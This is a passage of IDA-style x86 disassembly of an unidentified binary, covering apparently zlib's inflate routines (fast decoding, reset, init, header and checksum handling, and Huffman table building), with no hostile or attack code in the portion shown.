arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h push ebx push esi mov esi, [ebp+arg_10] push edi mov edi, [ebp+arg_14] mov ecx, [esi+34h] mov edx, [esi+1Ch] mov eax, [edi] mov [ebp+var_C], ecx mov [ebp+var_8], eax mov eax, [edi+4] mov [ebp+var_4], eax mov eax, [esi+20h] mov [ebp+arg_14], eax mov eax, [esi+30h] cmp ecx, eax jnb short loc_4DCC20 sub eax, ecx dec eax jmp short loc_4DCC25 ; --------------------------------------------------------------------------- loc_4DCC20: ; CODE XREF: sub_4DCBEB+2Ej mov eax, [esi+2Ch] sub eax, ecx loc_4DCC25: ; CODE XREF: sub_4DCBEB+33j mov [ebp+var_10], eax mov eax, [ebp+arg_0] mov eax, ds:dword_4E0318[eax*4] mov [ebp+var_14], eax mov eax, [ebp+arg_4] mov eax, ds:dword_4E0318[eax*4] mov [ebp+arg_4], eax loc_4DCC42: ; CODE XREF: sub_4DCBEB+72j ; sub_4DCBEB+231j cmp edx, 14h jnb short loc_4DCC5F mov eax, [ebp+var_8] dec [ebp+var_4] mov ecx, edx movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_14], eax inc [ebp+var_8] add edx, 8 jmp short loc_4DCC42 ; --------------------------------------------------------------------------- loc_4DCC5F: ; CODE XREF: sub_4DCBEB+5Aj mov eax, [ebp+var_14] mov ecx, [ebp+arg_8] and eax, [ebp+arg_14] lea eax, [ecx+eax*8] movzx ecx, byte ptr [eax] mov [ebp+arg_0], ecx test ecx, ecx loc_4DCC73: ; CODE XREF: sub_4DCBEB+C4j movzx ecx, byte ptr [eax+1] jz loc_4DCDF6 shr [ebp+arg_14], cl movzx ecx, byte ptr [eax+1] sub edx, ecx mov ecx, [ebp+arg_0] test cl, 10h jnz short loc_4DCCB1 test cl, 40h jnz loc_4DCE56 mov ecx, ds:dword_4E0318[ecx*4] and ecx, [ebp+arg_14] add ecx, [eax+4] lea eax, [eax+ecx*8] movzx ecx, byte ptr [eax] mov [ebp+arg_0], ecx test ecx, ecx jmp short loc_4DCC73 ; --------------------------------------------------------------------------- loc_4DCCB1: ; CODE XREF: sub_4DCBEB+A1j and ecx, 0Fh mov esi, ds:dword_4E0318[ecx*4] and esi, [ebp+arg_14] shr [ebp+arg_14], cl add esi, [eax+4] sub edx, ecx mov [ebp+arg_0], esi loc_4DCCC9: ; CODE XREF: sub_4DCBEB+F9j cmp edx, 0Fh jnb short loc_4DCCE6 mov eax, [ebp+var_8] dec [ebp+var_4] mov ecx, edx movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_14], eax inc [ebp+var_8] add edx, 8 jmp short loc_4DCCC9 ; --------------------------------------------------------------------------- loc_4DCCE6: ; CODE XREF: sub_4DCBEB+E1j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_C] and eax, [ebp+arg_14] movzx ebx, byte ptr [ecx+eax*8] lea eax, [ecx+eax*8] movzx ecx, byte ptr [eax+1] shr [ebp+arg_14], cl movzx ecx, byte ptr [eax+1] sub edx, ecx loc_4DCD03: ; CODE XREF: sub_4DCBEB+146j test bl, 10h jnz short loc_4DCD33 test bl, 40h jnz loc_4DCE21 mov ecx, ds:dword_4E0318[ebx*4] and ecx, [ebp+arg_14] add ecx, [eax+4] movzx ebx, byte ptr [eax+ecx*8] lea eax, [eax+ecx*8] movzx ecx, byte ptr [eax+1] shr [ebp+arg_14], cl mov [ebp+var_18], ecx sub edx, ecx jmp short loc_4DCD03 ; --------------------------------------------------------------------------- loc_4DCD33: ; CODE XREF: sub_4DCBEB+11Bj and ebx, 0Fh loc_4DCD36: ; CODE XREF: sub_4DCBEB+165j cmp edx, ebx jnb short loc_4DCD52 mov ecx, [ebp+var_8] dec [ebp+var_4] movzx esi, byte ptr [ecx] mov ecx, edx shl esi, cl or [ebp+arg_14], esi inc [ebp+var_8] add edx, 8 jmp short loc_4DCD36 ; --------------------------------------------------------------------------- loc_4DCD52: ; CODE XREF: sub_4DCBEB+14Dj mov esi, ds:dword_4E0318[ebx*4] mov ecx, ebx and esi, [ebp+arg_14] sub edx, ebx shr [ebp+arg_14], cl add esi, [eax+4] mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] sub [ebp+var_10], eax mov ebx, [ebp+arg_10] mov eax, ecx sub eax, esi mov esi, [ebx+28h] cmp eax, esi jnb short loc_4DCDD2 mov ebx, [ebx+2Ch] mov [ebp+var_18], ebx sub ebx, esi loc_4DCD85: ; CODE XREF: sub_4DCBEB+19Ej add eax, ebx cmp eax, esi jb short loc_4DCD85 mov esi, [ebp+var_18] sub esi, eax cmp [ebp+arg_0], esi jbe short loc_4DCDB4 sub [ebp+arg_0], esi loc_4DCD98: ; CODE XREF: sub_4DCBEB+1B4j mov bl, [eax] mov [ecx], bl inc ecx inc eax dec esi jnz short loc_4DCD98 mov eax, [ebp+arg_10] mov esi, [eax+28h] loc_4DCDA7: ; CODE XREF: sub_4DCBEB+1C5j mov al, [esi] mov [ecx], al inc ecx inc esi dec [ebp+arg_0] jnz short loc_4DCDA7 jmp short loc_4DCDEE ; --------------------------------------------------------------------------- loc_4DCDB4: ; CODE XREF: sub_4DCBEB+1A8j mov bl, [eax] mov [ecx], bl mov bl, [eax+1] inc ecx inc eax mov [ecx], bl inc ecx inc eax sub [ebp+arg_0], 2 loc_4DCDC5: ; CODE XREF: sub_4DCBEB+1E3j mov bl, [eax] mov [ecx], bl inc ecx inc eax dec [ebp+arg_0] jnz short loc_4DCDC5 jmp short loc_4DCDEE ; --------------------------------------------------------------------------- loc_4DCDD2: ; CODE XREF: sub_4DCBEB+190j mov bl, [eax] mov [ecx], bl mov bl, [eax+1] inc ecx inc eax mov [ecx], bl inc ecx inc eax sub [ebp+arg_0], 2 loc_4DCDE3: ; CODE XREF: sub_4DCBEB+201j mov bl, [eax] mov [ecx], bl inc ecx inc eax dec [ebp+arg_0] jnz short loc_4DCDE3 loc_4DCDEE: ; CODE XREF: sub_4DCBEB+1C7j ; sub_4DCBEB+1E5j mov esi, [ebp+arg_10] mov [ebp+var_C], ecx jmp short loc_4DCE0D ; --------------------------------------------------------------------------- loc_4DCDF6: ; CODE XREF: sub_4DCBEB+8Cj shr [ebp+arg_14], cl movzx ecx, byte ptr [eax+1] mov al, [eax+4] sub edx, ecx mov ecx, [ebp+var_C] inc [ebp+var_C] dec [ebp+var_10] mov [ecx], al loc_4DCE0D: ; CODE XREF: sub_4DCBEB+209j cmp [ebp+var_10], 102h jb short loc_4DCE41 cmp [ebp+var_4], 0Ah jb short loc_4DCE41 jmp loc_4DCC42 ; --------------------------------------------------------------------------- loc_4DCE21: ; CODE XREF: sub_4DCBEB+120j mov ecx, [edi+4] mov eax, edx sub ecx, [ebp+var_4] mov dword ptr [edi+18h], offset aInvalidDistanc ; "invalid distance code" shr eax, 3 cmp eax, ecx jnb short loc_4DCE39 mov ecx, eax loc_4DCE39: ; CODE XREF: sub_4DCBEB+24Aj mov esi, [ebp+arg_10] push 0FFFFFFFDh pop eax jmp short loc_4DCE8B ; --------------------------------------------------------------------------- loc_4DCE41: ; CODE XREF: sub_4DCBEB+229j ; sub_4DCBEB+22Fj mov ecx, [edi+4] mov eax, edx sub ecx, [ebp+var_4] shr eax, 3 cmp eax, ecx jnb short loc_4DCE52 mov ecx, eax loc_4DCE52: ; CODE XREF: sub_4DCBEB+263j xor eax, eax jmp short loc_4DCE8B ; --------------------------------------------------------------------------- loc_4DCE56: ; CODE XREF: sub_4DCBEB+A6j test cl, 20h jz short loc_4DCE70 mov ecx, [edi+4] mov eax, edx sub ecx, [ebp+var_4] shr eax, 3 cmp eax, ecx jnb short loc_4DCE6C mov ecx, eax loc_4DCE6C: ; CODE XREF: sub_4DCBEB+27Dj push 1 jmp short loc_4DCE8A ; --------------------------------------------------------------------------- loc_4DCE70: ; CODE XREF: sub_4DCBEB+26Ej mov ecx, [edi+4] mov eax, edx sub ecx, [ebp+var_4] mov dword ptr [edi+18h], offset aInvalidLiteral ; "invalid literal/length code" shr eax, 3 cmp eax, ecx jnb short loc_4DCE88 mov ecx, eax loc_4DCE88: ; CODE XREF: sub_4DCBEB+299j push 0FFFFFFFDh loc_4DCE8A: ; CODE XREF: sub_4DCBEB+283j pop eax loc_4DCE8B: ; CODE XREF: sub_4DCBEB+254j ; sub_4DCBEB+269j mov ebx, [ebp+arg_14] sub [ebp+var_8], ecx mov [esi+20h], ebx mov ebx, ecx shl ebx, 3 sub edx, ebx mov [esi+1Ch], edx mov edx, [ebp+var_4] add ecx, edx mov [edi+4], ecx mov ecx, [ebp+var_8] mov edx, ecx sub edx, [edi] mov [edi], ecx mov ecx, [ebp+var_C] add [edi+8], edx mov [esi+34h], ecx pop edi pop esi pop ebx leave retn sub_4DCBEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DCEBD proc near ; CODE XREF: sub_4DCF41+D4p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor edx, edx cmp eax, edx jz short loc_4DCEFB mov ecx, [eax+1Ch] cmp ecx, edx jz short loc_4DCEFB push esi mov [eax+14h], edx mov [eax+8], edx mov [eax+18h], edx mov esi, [ecx+0Ch] push edx neg esi sbb esi, esi push eax and esi, 7 mov [ecx], esi mov eax, [eax+1Ch] push dword ptr [eax+14h] call sub_4DBB53 add esp, 0Ch xor eax, eax pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4DCEFB: ; CODE XREF: sub_4DCEBD+Aj ; sub_4DCEBD+11j push 0FFFFFFFEh pop eax pop ebp retn sub_4DCEBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DCF00 proc near ; CODE XREF: sub_4DCF41+C9p ; sub_4DD9F3+59p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_4DCF3B mov eax, [esi+1Ch] test eax, eax jz short loc_4DCF3B cmp dword ptr [esi+24h], 0 jz short loc_4DCF3B mov eax, [eax+14h] test eax, eax jz short loc_4DCF28 push esi push eax call sub_4DC5B0 pop ecx pop ecx loc_4DCF28: ; CODE XREF: sub_4DCF00+1Dj push dword ptr [esi+1Ch] push dword ptr [esi+28h] call dword ptr [esi+24h] and dword ptr [esi+1Ch], 0 pop ecx pop ecx xor eax, eax jmp short loc_4DCF3E ; --------------------------------------------------------------------------- loc_4DCF3B: ; CODE XREF: sub_4DCF00+9j ; sub_4DCF00+10j ... push 0FFFFFFFEh pop eax loc_4DCF3E: ; CODE XREF: sub_4DCF00+39j pop esi pop ebp retn sub_4DCF00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DCF41 proc near ; CODE XREF: sub_4DD02B+Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_8] push ebx push esi push edi xor edi, edi cmp eax, edi jz loc_4DD023 mov al, [eax] cmp al, ds:byte_4DF0A8 jnz loc_4DD023 cmp [ebp+arg_C], 38h jnz loc_4DD023 mov esi, [ebp+arg_0] cmp esi, edi jnz short loc_4DCF7A push 0FFFFFFFEh jmp loc_4DD025 ; --------------------------------------------------------------------------- loc_4DCF7A: ; CODE XREF: sub_4DCF41+30j cmp [esi+20h], edi mov [esi+18h], edi jnz short loc_4DCF8C mov dword ptr [esi+20h], offset sub_4DDA72 mov [esi+28h], edi loc_4DCF8C: ; CODE XREF: sub_4DCF41+3Fj cmp [esi+24h], edi jnz short loc_4DCF98 mov dword ptr [esi+24h], offset sub_4DDA8C loc_4DCF98: ; CODE XREF: sub_4DCF41+4Ej push 18h push 1 pop ebx push ebx push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch cmp eax, edi mov [esi+1Ch], eax jnz short loc_4DCFB2 push 0FFFFFFFCh jmp short loc_4DD025 ; --------------------------------------------------------------------------- loc_4DCFB2: ; CODE XREF: sub_4DCF41+6Bj mov ecx, [ebp+arg_4] mov [eax+14h], edi mov eax, [esi+1Ch] cmp ecx, edi mov [eax+0Ch], edi jge short loc_4DCFCA mov eax, [esi+1Ch] neg ecx mov [eax+0Ch], ebx loc_4DCFCA: ; CODE XREF: sub_4DCF41+7Fj cmp ecx, 8 jl short loc_4DD01F cmp ecx, 0Fh jg short loc_4DD01F mov eax, [esi+1Ch] shl ebx, cl mov [eax+10h], ecx mov eax, [esi+1Ch] mov eax, [eax+0Ch] neg eax sbb eax, eax push ebx not eax and eax, offset sub_4CCF6E push eax push esi call sub_4DBBBF mov ecx, [esi+1Ch] add esp, 0Ch mov [ecx+14h], eax mov eax, [esi+1Ch] cmp [eax+14h], edi jnz short loc_4DD014 push 0FFFFFFFCh loc_4DD008: ; CODE XREF: sub_4DCF41+E0j pop edi push esi call sub_4DCF00 pop ecx mov eax, edi jmp short loc_4DD026 ; --------------------------------------------------------------------------- loc_4DD014: ; CODE XREF: sub_4DCF41+C3j push esi call sub_4DCEBD pop ecx xor eax, eax jmp short loc_4DD026 ; --------------------------------------------------------------------------- loc_4DD01F: ; CODE XREF: sub_4DCF41+8Cj ; sub_4DCF41+91j push 0FFFFFFFEh jmp short loc_4DD008 ; --------------------------------------------------------------------------- loc_4DD023: ; CODE XREF: sub_4DCF41+Dj ; sub_4DCF41+1Bj ... push 0FFFFFFFAh loc_4DD025: ; CODE XREF: sub_4DCF41+34j ; sub_4DCF41+6Fj pop eax loc_4DD026: ; CODE XREF: sub_4DCF41+D1j ; sub_4DCF41+DCj pop edi pop esi pop ebx pop ebp retn sub_4DCF41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DD02B proc near ; CODE XREF: sub_4DD9F3+35p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+arg_8] push [ebp+arg_4] push 0Fh push [ebp+arg_0] call sub_4DCF41 add esp, 10h pop ebp retn sub_4DD02B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DD043 proc near ; CODE XREF: sub_4DD9F3+47p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] xor eax, eax cmp esi, eax push edi jz loc_4DD355 ; default cmp [esi+1Ch], eax jz loc_4DD355 ; default cmp [esi], eax jz loc_4DD355 ; default cmp [ebp+arg_4], 4 push 0FFFFFFFBh pop ebx mov [ebp+arg_4], ebx jz short loc_4DD076 mov [ebp+arg_4], eax loc_4DD076: ; CODE XREF: sub_4DD043+2Ej ; sub_4DD043+111j push 0Dh pop edi loc_4DD079: ; CODE XREF: sub_4DD043+8Aj ; sub_4DD043+FAj ... mov eax, [esi+1Ch] mov ecx, [eax] cmp ecx, edi ; switch 14 cases ja loc_4DD355 ; default jmp ds:off_4DD36E[ecx*4] ; switch jump loc_4DD08D: ; DATA XREF: _4:off_4DD36Eo mov ecx, [esi+4] ; jumptable 004DD086 case 0 test ecx, ecx jz loc_4DD27F dec ecx inc dword ptr [esi+8] mov [esi+4], ecx mov ecx, [esi] mov ebx, [ebp+arg_4] movzx ecx, byte ptr [ecx] mov [eax+4], ecx mov eax, [esi+1Ch] mov ecx, [eax+4] and ecx, 0Fh inc dword ptr [esi] cmp cl, 8 jz short loc_4DD0CF mov [eax], edi mov dword ptr [esi+18h], offset aUnknownCompres ; "unknown compression method" loc_4DD0C3: ; CODE XREF: sub_4DD043+A3j ; sub_4DD043+237j mov eax, [esi+1Ch] mov dword ptr [eax+4], 5 jmp short loc_4DD079 ; --------------------------------------------------------------------------- loc_4DD0CF: ; CODE XREF: sub_4DD043+75j mov ecx, [eax+4] shr ecx, 4 add ecx, 8 cmp ecx, [eax+10h] jbe short loc_4DD0E8 mov [eax], edi mov dword ptr [esi+18h], offset aInvalidWindowS ; "invalid window size" jmp short loc_4DD0C3 ; --------------------------------------------------------------------------- loc_4DD0E8: ; CODE XREF: sub_4DD043+98j mov dword ptr [eax], 1 loc_4DD0EE: ; CODE XREF: sub_4DD043+43j ; DATA XREF: _4:off_4DD36Eo mov eax, [esi+4] ; jumptable 004DD086 case 1 test eax, eax jz loc_4DD27F mov ecx, [ebp+arg_4] dec eax inc dword ptr [esi+8] mov [esi+4], eax mov eax, [esi] mov [ebp+arg_0], ecx mov ecx, [esi+1Ch] push 1Fh movzx ebx, byte ptr [eax] inc eax xor edx, edx mov [esi], eax mov eax, [ecx+4] shl eax, 8 add eax, ebx pop edi div edi test edx, edx jz short loc_4DD142 push 0Dh mov ebx, [ebp+arg_0] pop edi mov [ecx], edi mov eax, [esi+1Ch] mov dword ptr [esi+18h], offset aIncorrectHeade ; "incorrect header check" mov dword ptr [eax+4], 5 jmp loc_4DD079 ; --------------------------------------------------------------------------- loc_4DD142: ; CODE XREF: sub_4DD043+DFj test bl, 20h jnz loc_4DD286 mov ebx, [ebp+arg_0] mov dword ptr [ecx], 7 jmp loc_4DD076 ; --------------------------------------------------------------------------- loc_4DD159: ; CODE XREF: sub_4DD043+43j ; DATA XREF: _4:off_4DD36Eo push ebx ; jumptable 004DD086 case 7 push esi push dword ptr [eax+14h] call sub_4DBC4B mov ebx, eax add esp, 0Ch cmp ebx, 0FFFFFFFDh jnz short loc_4DD17E mov eax, [esi+1Ch] mov [eax], edi mov eax, [esi+1Ch] and dword ptr [eax+4], 0 jmp loc_4DD079 ; --------------------------------------------------------------------------- loc_4DD17E: ; CODE XREF: sub_4DD043+128j test ebx, ebx jnz short loc_4DD185 mov ebx, [ebp+arg_4] loc_4DD185: ; CODE XREF: sub_4DD043+13Dj cmp ebx, 1 jnz loc_4DD27F mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] lea ecx, [eax+4] push ecx push esi push dword ptr [eax+14h] call sub_4DBB53 mov eax, [esi+1Ch] add esp, 0Ch cmp dword ptr [eax+0Ch], 0 jz short loc_4DD1B8 mov dword ptr [eax], 0Ch jmp loc_4DD079 ; --------------------------------------------------------------------------- loc_4DD1B8: ; CODE XREF: sub_4DD043+168j mov dword ptr [eax], 8 loc_4DD1BE: ; CODE XREF: sub_4DD043+43j ; DATA XREF: _4:off_4DD36Eo mov eax, [esi+4] ; jumptable 004DD086 case 8 test eax, eax jz loc_4DD27F dec eax inc dword ptr [esi+8] mov ecx, [esi+1Ch] mov [esi+4], eax mov eax, [esi] mov ebx, [ebp+arg_4] movzx eax, byte ptr [eax] shl eax, 18h mov [ecx+8], eax mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 9 loc_4DD1EC: ; CODE XREF: sub_4DD043+43j ; DATA XREF: _4:off_4DD36Eo mov eax, [esi+4] ; jumptable 004DD086 case 9 test eax, eax jz loc_4DD27F mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] shl ecx, 10h add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 0Ah loc_4DD21A: ; CODE XREF: sub_4DD043+43j ; DATA XREF: _4:off_4DD36Eo mov eax, [esi+4] ; jumptable 004DD086 case 10 test eax, eax jz short loc_4DD27F mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] shl ecx, 8 add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 0Bh loc_4DD244: ; CODE XREF: sub_4DD043+43j ; DATA XREF: _4:off_4DD36Eo mov eax, [esi+4] ; jumptable 004DD086 case 11 test eax, eax jz short loc_4DD27F mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov ecx, [eax+4] cmp ecx, [eax+8] jz loc_4DD35D mov [eax], edi mov dword ptr [esi+18h], offset aIncorrectDataC ; "incorrect data check" jmp loc_4DD0C3 ; --------------------------------------------------------------------------- loc_4DD27F: ; CODE XREF: sub_4DD043+4Fj ; sub_4DD043+B0j ... mov eax, ebx jmp loc_4DD358 ; --------------------------------------------------------------------------- loc_4DD286: ; CODE XREF: sub_4DD043+102j mov eax, [esi+1Ch] mov ebx, [ebp+arg_0] mov dword ptr [eax], 2 loc_4DD292: ; CODE XREF: sub_4DD043+43j ; DATA XREF: _4:off_4DD36Eo mov eax, [esi+4] ; jumptable 004DD086 case 2 test eax, eax jz short loc_4DD27F dec eax inc dword ptr [esi+8] mov ecx, [esi+1Ch] mov [esi+4], eax mov eax, [esi] mov ebx, [ebp+arg_4] movzx eax, byte ptr [eax] shl eax, 18h mov [ecx+8], eax mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 3 loc_4DD2BC: ; CODE XREF: sub_4DD043+43j ; DATA XREF: _4:off_4DD36Eo mov eax, [esi+4] ; jumptable 004DD086 case 3 test eax, eax jz short loc_4DD27F mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] shl ecx, 10h add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 4 loc_4DD2E6: ; CODE XREF: sub_4DD043+43j ; DATA XREF: _4:off_4DD36Eo mov eax, [esi+4] ; jumptable 004DD086 case 4 test eax, eax jz short loc_4DD27F mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] shl ecx, 8 add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 5 loc_4DD310: ; CODE XREF: sub_4DD043+43j ; DATA XREF: _4:off_4DD36Eo mov eax, [esi+4] ; jumptable 004DD086 case 5 test eax, eax jz loc_4DD27F mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] push 2 add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov ecx, [eax+8] mov [esi+30h], ecx mov dword ptr [eax], 6 jmp short loc_4DD357 ; --------------------------------------------------------------------------- loc_4DD342: ; CODE XREF: sub_4DD043+43j ; DATA XREF: _4:off_4DD36Eo mov eax, [esi+1Ch] ; jumptable 004DD086 case 6 mov [eax], edi mov eax, [esi+1Ch] mov dword ptr [esi+18h], offset aNeedDictionary ; "need dictionary" and dword ptr [eax+4], 0 loc_4DD355: ; CODE XREF: sub_4DD043+Dj ; sub_4DD043+16j ... push 0FFFFFFFEh ; default loc_4DD357: ; CODE XREF: sub_4DD043+2FDj ; sub_4DD043+325j ... pop eax loc_4DD358: ; CODE XREF: sub_4DD043+23Ej pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4DD35D: ; CODE XREF: sub_4DD043+228j mov eax, [esi+1Ch] mov dword ptr [eax], 0Ch loc_4DD366: ; CODE XREF: sub_4DD043+43j ; DATA XREF: _4:off_4DD36Eo push 1 ; jumptable 004DD086 case 12 jmp short loc_4DD357 ; --------------------------------------------------------------------------- loc_4DD36A: ; CODE XREF: sub_4DD043+43j ; DATA XREF: _4:off_4DD36Eo push 0FFFFFFFDh ; jumptable 004DD086 case 13 jmp short loc_4DD357 sub_4DD043 endp ; --------------------------------------------------------------------------- off_4DD36E dd offset loc_4DD08D ; DATA XREF: sub_4DD043+43r dd offset loc_4DD0EE ; jump table for switch statement dd offset loc_4DD292 dd offset loc_4DD2BC dd offset loc_4DD2E6 dd offset loc_4DD310 dd offset loc_4DD342 dd offset loc_4DD159 dd offset loc_4DD1BE dd offset loc_4DD1EC dd offset loc_4DD21A dd offset loc_4DD244 dd offset loc_4DD366 dd offset loc_4DD36A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DD3A6 proc near ; CODE XREF: sub_4DBC4B+3C5p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, [ebp+arg_10] push 4 push 13h push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [ebp+arg_10], eax test eax, eax jnz short loc_4DD3CB push 0FFFFFFFCh pop eax jmp short loc_4DD422 ; --------------------------------------------------------------------------- loc_4DD3CB: ; CODE XREF: sub_4DD3A6+1Ej push ebx push eax lea eax, [ebp+var_4] push eax push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_8] push 0 push 0 push 13h push 13h push [ebp+arg_0] call sub_4DD425 mov ebx, eax add esp, 28h cmp ebx, 0FFFFFFFDh jnz short loc_4DD3FD mov dword ptr [esi+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"... jmp short loc_4DD414 ; --------------------------------------------------------------------------- loc_4DD3FD: ; CODE XREF: sub_4DD3A6+4Cj cmp ebx, 0FFFFFFFBh jz short loc_4DD40A mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_4DD414 loc_4DD40A: ; CODE XREF: sub_4DD3A6+5Aj push 0FFFFFFFDh mov dword ptr [esi+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree" pop ebx loc_4DD414: ; CODE XREF: sub_4DD3A6+55j ; sub_4DD3A6+62j push [ebp+arg_10] push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx mov eax, ebx pop ecx pop ebx loc_4DD422: ; CODE XREF: sub_4DD3A6+23j pop esi leave retn sub_4DD3A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DD425 proc near ; CODE XREF: sub_4DD3A6+3Fp ; sub_4DD7AC+52p ... var_F0 = dword ptr -0F0h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 0F0h mov ecx, [ebp+arg_0] push ebx push esi push edi mov edi, [ebp+arg_4] xor edx, edx mov [ebp+var_74], edx mov [ebp+var_70], edx mov [ebp+var_6C], edx mov [ebp+var_68], edx mov [ebp+var_64], edx mov [ebp+var_60], edx mov [ebp+var_5C], edx mov [ebp+var_58], edx mov [ebp+var_54], edx mov [ebp+var_50], edx mov [ebp+var_4C], edx mov [ebp+var_48], edx mov [ebp+var_44], edx mov [ebp+var_40], edx mov [ebp+var_3C], edx mov [ebp+var_38], edx mov esi, edi loc_4DD46B: ; CODE XREF: sub_4DD425+54j mov eax, [ecx] add ecx, 4 inc [ebp+eax*4+var_74] lea eax, [ebp+eax*4+var_74] dec esi jnz short loc_4DD46B cmp [ebp+var_74], edi jnz short loc_4DD491 mov eax, [ebp+arg_14] mov [eax], edx mov eax, [ebp+arg_18] mov [eax], edx loc_4DD48A: ; CODE XREF: sub_4DD425+36Fj ; sub_4DD425+379j xor eax, eax loc_4DD48C: ; CODE XREF: sub_4DD425+382j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4DD491: ; CODE XREF: sub_4DD425+59j mov edi, [ebp+arg_18] push 1 pop ebx lea eax, [ebp+var_70] mov esi, [edi] mov ecx, ebx mov [ebp+arg_18], esi loc_4DD4A1: ; CODE XREF: sub_4DD425+87j cmp [eax], edx jnz short loc_4DD4AE inc ecx add eax, 4 cmp ecx, 0Fh jbe short loc_4DD4A1 loc_4DD4AE: ; CODE XREF: sub_4DD425+7Ej cmp esi, ecx mov [ebp+var_4], ecx jnb short loc_4DD4B8 mov [ebp+arg_18], ecx loc_4DD4B8: ; CODE XREF: sub_4DD425+8Ej push 0Fh lea esi, [ebp+var_38] pop eax loc_4DD4BE: ; CODE XREF: sub_4DD425+A3j cmp [esi], edx jnz short loc_4DD4CA dec eax sub esi, 4 cmp eax, edx jnz short loc_4DD4BE loc_4DD4CA: ; CODE XREF: sub_4DD425+9Bj cmp [ebp+arg_18], eax mov [ebp+var_18], eax jbe short loc_4DD4D5 mov [ebp+arg_18], eax loc_4DD4D5: ; CODE XREF: sub_4DD425+ABj mov esi, [ebp+arg_18] shl ebx, cl cmp ecx, eax mov [edi], esi jnb short loc_4DD4F6 lea esi, [ebp+ecx*4+var_74] loc_4DD4E4: ; CODE XREF: sub_4DD425+CFj sub ebx, [esi] js loc_4DD61C inc ecx add esi, 4 shl ebx, 1 cmp ecx, eax jb short loc_4DD4E4 loc_4DD4F6: ; CODE XREF: sub_4DD425+B9j mov esi, eax shl esi, 2 mov 